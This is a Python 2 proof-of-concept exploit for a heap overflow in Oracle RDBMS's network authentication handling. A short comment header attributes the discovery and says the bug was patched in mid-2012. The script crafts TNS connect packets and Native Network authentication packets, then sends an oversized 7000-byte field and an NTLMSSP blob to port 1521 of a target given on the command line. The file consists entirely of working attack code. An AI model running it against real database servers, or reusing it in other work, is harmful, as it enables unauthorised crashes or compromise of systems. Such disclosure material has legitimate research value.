# Oracle RDBMS PoC: heap overflow # buf allocated in naunts5(), memcpy in naun5validate() causes buf overflow # cpujan2011 tested # patch 12 tested # Vulnerability discovered by Dennis Yurichev # fixed in CPUjul2012 # Python 2.x import sys import string import os import random from array import array from sys import * from socket import * from struct import * import hashlib from binascii import * import time def form_NSPTDA_pkt (inn): pkt="" pkt=pkt+pack ('>h', len(inn)+10) # NSPHDLEN pkt=pkt+pack ('h', 0) # NSPHDPSM pkt=pkt+pack ('BB', 6 ,0) # pkt type, reserved pkt=pkt+pack ('h', 0) # NSPHDHSM pkt=pkt+pack ('h', 0) # NSPDAFLG pkt=pkt+inn return pkt def form_NSPTCN_pkt (connect_string): cl=len(connect_string) rt=pack(">H", cl+58)+"\x00\x00\x01\x00\x00\x00" rt=rt+"\x01\x3A\x01\x2C\x00\x41\x20\x00" rt=rt+"\x7F\xFF\xC6\x0E\x00\x00\x01\x00" rt=rt+pack(">H", cl)+"\x00\x3A\x00\x00\x02\x00" rt=rt+"\x41\x41\x00\x00\x00\x00\x00\x00" rt=rt+"\x00\x00\x00\x00\x00\x00\x00\x00" rt=rt+"\x00\x00\x00\x00\x00\x00\x00\x00" rt=rt+"\x00\x00"+connect_string return rt def connect_and_establish(host): try: sockobj = socket(AF_INET, SOCK_STREAM) except: print "can't create socket" #return None sockobj.settimeout (None) sockobj.connect ((argv[1], 1521)) conn_string="(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=" + host + ")(PORT=1521))(CONNECT_DATA=(SERVER=DEDICATED)(SID=orcl)(CID=(PROGRAM=" + sys.argv[0] + ")(HOST=" + os.getenv("COMPUTERNAME") + ")(USER=" + os.getenv ("USERNAME") + "))))" cp=form_NSPTCN_pkt (conn_string) sockobj.send(cp) try: data=sockobj.recv(102400) except: print "can't receive NSPTRS pkt from serv" #return None sockobj.send(form_NSPTCN_pkt (conn_string)) data=sockobj.recv(102400) return sockobj def NA_pack_field (t, data): return pack(">HH",len(data),t)+data def NA_form_field (field_type, fields): num_fields=len(fields) rt=pack(">HH", field_type, num_fields)+"\x00\x00\x00\x00" for f_type, f_data in fields: rt=rt+NA_pack_field (f_type, f_data) return rt NA_magic_number="\xDE\xAD\xBE\xEF" class NA_TYPE: _STRING=0 _RAW_DATA=1 _1_BYTE_NUMERIC=2 _2_BYTE_NUMERIC=3 _4_BYTE_NUMERIC=4 _VERSION_STAMP=5 _STATUS=6 def form_NA_pkt_112_part1(): NA_ver="\x0B\x20\x01\x00" NA_num_services=4 NA_pkt="\x00\x00\x00\x00"+pack(">H", NA_num_services)+"\x00" # "supervisor" NA_pkt=NA_pkt+NA_form_field (4, [(NA_TYPE._VERSION_STAMP, NA_ver), (NA_TYPE._RAW_DATA, "\x00\x00\x0A\xB8\x73\x23\xF4\xE6"), (NA_TYPE._RAW_DATA, NA_magic_number+"\x00\x03\x00\x00\x00\x04\x00\x04\x00\x01\x00\x01\x00\x02")]) # "authentication" NA_pkt=NA_pkt+NA_form_field (1, [(NA_TYPE._VERSION_STAMP, NA_ver), (NA_TYPE._2_BYTE_NUMERIC, "\xE0\xE1"), (NA_TYPE._STATUS, "\xFC\xFF"), (NA_TYPE._1_BYTE_NUMERIC, "\x01"), (NA_TYPE._STRING, "NTS")]) # "encryption" NA_pkt=NA_pkt+NA_form_field (2, [(NA_TYPE._VERSION_STAMP, NA_ver), (NA_TYPE._RAW_DATA, "\x00\x11\x06\x10\x0C\x0F\x0A\x0B\x08\x02\x01\x03")]) # "crypto-checksumming" NA_pkt=NA_pkt+NA_form_field (3, [(NA_TYPE._VERSION_STAMP, NA_ver), (NA_TYPE._RAW_DATA, "\x00\x03\x01")]) return form_NSPTDA_pkt (NA_magic_number+pack(">H", len(NA_pkt)+6)+NA_pkt) def poc3_form_fuzz_NA_pkt_112_part2(): NA_ver="\x0B\x20\x01\x00" NA_num_services=1 NA_pkt="\x00\x00\x00\x00"+pack(">H", NA_num_services)+"\x00" lst=[] lst.append ((NA_TYPE._VERSION_STAMP, NA_ver)) lst.append ((NA_TYPE._4_BYTE_NUMERIC, "\x00\x00\x00\x09")) lst.append ((NA_TYPE._4_BYTE_NUMERIC, "\x00\x00\x00\x02")) lst.append ((NA_TYPE._RAW_DATA, "A"*7000)) lst.append ((NA_TYPE._RAW_DATA, "\x00\x00\x00\x00")) lst.append ((NA_TYPE._RAW_DATA, "\x38\x00\x00\x00")) # len of next block? lst.append ((NA_TYPE._RAW_DATA, "NTLMSSP\x00\x01\x00\x00\x00\x07\xB2\x08\xA2\x09\x00\x09\x00\x2F\x00\x00\x00\x07\x00\x07\x00\x28\x00\x00\x00\x05\x02\xCE\x0E\x00\x00\x00\x0FWIN2003WORKGROUP")) NA_pkt=NA_pkt+NA_form_field (1, lst) return form_NSPTDA_pkt (NA_magic_number+pack(">H", len(NA_pkt)+6)+NA_pkt) def poc3(host): sockobj=connect_and_establish (host) out=form_NA_pkt_112_part1() sockobj.send(out) data=sockobj.recv(102400) print ("(response 1) got %d bytes" % len(data)) out=poc3_form_fuzz_NA_pkt_112_part2() sockobj.send(out) data=sockobj.recv(102400) print ("(response 2) got %d bytes" % len(data)) poc3(sys.argv[1])